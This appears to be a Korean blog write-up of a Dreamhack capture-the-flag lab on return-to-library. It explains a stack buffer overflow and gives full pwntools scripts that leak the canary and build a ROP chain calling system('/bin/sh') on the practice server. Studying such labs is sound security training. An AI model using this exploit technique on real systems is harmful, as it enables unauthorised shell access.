문제 정보
Exploit Tech: Return to Library에서 실습하는 문제입니다.
풀이
문제 파일인 rtl, rtl.c을 실습 환경에 다운로드 받은 후 rtl.c 코드를 확인해보았다. 소스 코드를 분석한 결과 buf의 크기가 0x30인 반면, 첫 번째 입력과 두 번째 입력에서 모두 버퍼 오버플로우가 존재한다. 또한 /bin/sh와 system@plt가 보이며 이는 컴파일 시 -no-pie로 컴파일 하였기 때문에 주소가 고정되어 있다. 따라서 system(”/bin/sh”)와 같은 쉘을 실행할 수 있다고 알 수 있다.
checksec툴을 이용해 PIE가 진짜 비활성화 되어 있는지 확인했다.
익스플로잇을 설계해보면 먼저 카나리를 우회하고 리턴 가젯을 이용해 rdi의 값을 /bin/sh의 주소로 설정한 후 system 함수의 PLT 주소를 붙여주면 쉘을 실행할 수 있다.
카나리를 우회하기 위해선 먼저 buf의 크기인 30바이트이고 dummy값이 8바이트이기 때문에 1을 더한 값인 39를 첫 번째 값에 입력해주면 canary값을 알 수 있다. 따라서 익스플로잇을 작성하면 다음과 같다.
from pwn import * #pwntools 사용
p = process("./rtl") #rtl 바이너리 파일에 익스플로잇 수행
def slog(name, addr): return success(": ".join([name, hex(addr)])) #직접적으로 화면에 출력하기 위해 slog 함수 선언
buf = b"A"*0x39 #A를 39만큼 입력하여 카나리 릭하도록 buf 변수 선언
p.sendafter("Buf: ", buf) #Buf: 가 나오면 buf 보냄
p.recvuntil(buf) #buf까지 데이터 받아오기
cnry = u64(b"\\x00" + p.recvn(7)) #첫 canary는 널바이트 + recvn 함수로 7바이트 받아와 언패킹 후 cnry 변수 대입
slog("Canary", cnry) #slog함수로 카나리값 출력
rtl.py를 위와 같이 작성하고 실행해보면 다음과 같이 Canary가 잘 출력되는 것을 확인할 수 있다.
카나리 값이 잘 출력되었으므로 “/bin/sh”의 주소를 알아내야 한다. “/bin/sh”의 주소는 gdb의 serach명령으로 찾을 수 있다. 따라서 “/bin/sh”의 주소는 0x400874인 것을 확인했다.
system의 PLT 주소는 gdb의 plt명령으로 찾을 수 있다. 따라서 system@plt의 주소는 0x4005d0인 것을 확인했다.
리턴 가젯을 찾기 위해선 ROPgadget툴을 이용하여 —re 옵션을 사용해 정규표현식으로 가젯을 필터링할 수 있다. 따라서 rdi의 값은 0x0000000000400853 인 것을 확인했다.
이제 두 번째 입력으로 쉘을 실행시키기 위해선 payload를 작성하는데 먼저 buf 크기인 30과 dummy값 8을 쓰레기 값으로 채운 후 전에 구한 Canary를 대입해 카나리를 우회하고 sfp만큼인 8만큼을 또 쓰레기 값으로 채우면 반환 주소를 설정할 수 있다.
반환주소를 rdi를 설정한 후 /bin/sh 와 system@plt를 넣어주면 되지만 주의할 점은 system 함수로 rip가 이동할 때, 스택은 반드시 0x10 단위로 정렬되어 있어야 한다는 것이다. 이는 system함수 내부에 있는 movaps 명령어 때문이다. 따라서 8바이트만큼 뒤로 미루기 위해 no-op gadget을 이용해서 system함수 전에 추가할 수 있는데 이는 ret의 주소를 알아야 한다. ret의 주소는 ROPgadget툴을 이용해 확인할 수 있다. ret의 주소는 0x0000000000400285인 것을 알 수 있다.
이를 통해 익스플로잇을 작성하면 다음과 같다.
from pwn import * #pwntools 사용
#p = process("./rtl") #rtl 바이너리 파일에 익스플로잇 수행
p = remote("host3.dreamhack.games", 14409) #dreamhack 서버로 익스플로잇 수
def slog(name, addr): return success(": ".join([name, hex(addr)])) #직접적으로 화면에 출력하기 위해 slog 함수 선언
buf = b"A"*0x39 #A를 39만큼 입력하여 카나리 릭하도록 buf 변수 선언
p.sendafter("Buf: ", buf) #Buf: 가 나오면 buf 보냄
p.recvuntil(buf) #buf까지 데이터 받아오기
cnry = u64(b"\\x00" + p.recvn(7)) #첫 canary는 널바이트 + recvn 함수로 7바이트 받아와 언패킹 후 cnry 변수 대입
slog("Canary", cnry) #slog함수로 카나리값 출력
system_plt = 0x4005d0 #전에 구했던 system@plt 주소
binsh = 0x400874 #전에 구했던 "/bin/sh"주소
rdi = 0x0000000000400853 #전에 구했던 rdi 리턴 가젯 주소
ret = 0x0000000000400285 #전에 구했던 ret인 no-op gadget 주소
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8 #반환 주소까지 카나리 값 넣어 우회
payload += p64(ret) #movaps로 인한 오류 방지를 위해 스택 정렬
payload += p64(rdi) #rdi 먼저 넣어주어야 함
payload += p64(binsh) #rdi 다음으로 "/bin/sh" 넣어주어야 함
payload += p64(system_plt) #"/bin/sh" 다음으로 system@PLT 넣어주어야 함
p.sendafter("Buf: ", payload) #Buf: 가 출력되면 payload 전송
p.interactive() #셸 실행
익스플로잇 수행한 결과 다음과 같이 셸이 잘 실행되고 flag값이 잘 출력되는 것을 확인할 수 있었다.
'System Hacking > Dreamhack 풀이' 카테고리의 다른 글
basic_rop_x64(Bypass NX & ASLR) (0) | 2023.07.02 |
---|---|
rop(Bypass NX & ASLR) (0) | 2023.07.02 |
ssp_001(Stack Canary) (0) | 2023.07.02 |
Return to Shellcode(Stack Canary) (0) | 2023.07.02 |
basic_exploitation_001(Stack Buffer Overflow) (0) | 2023.07.02 |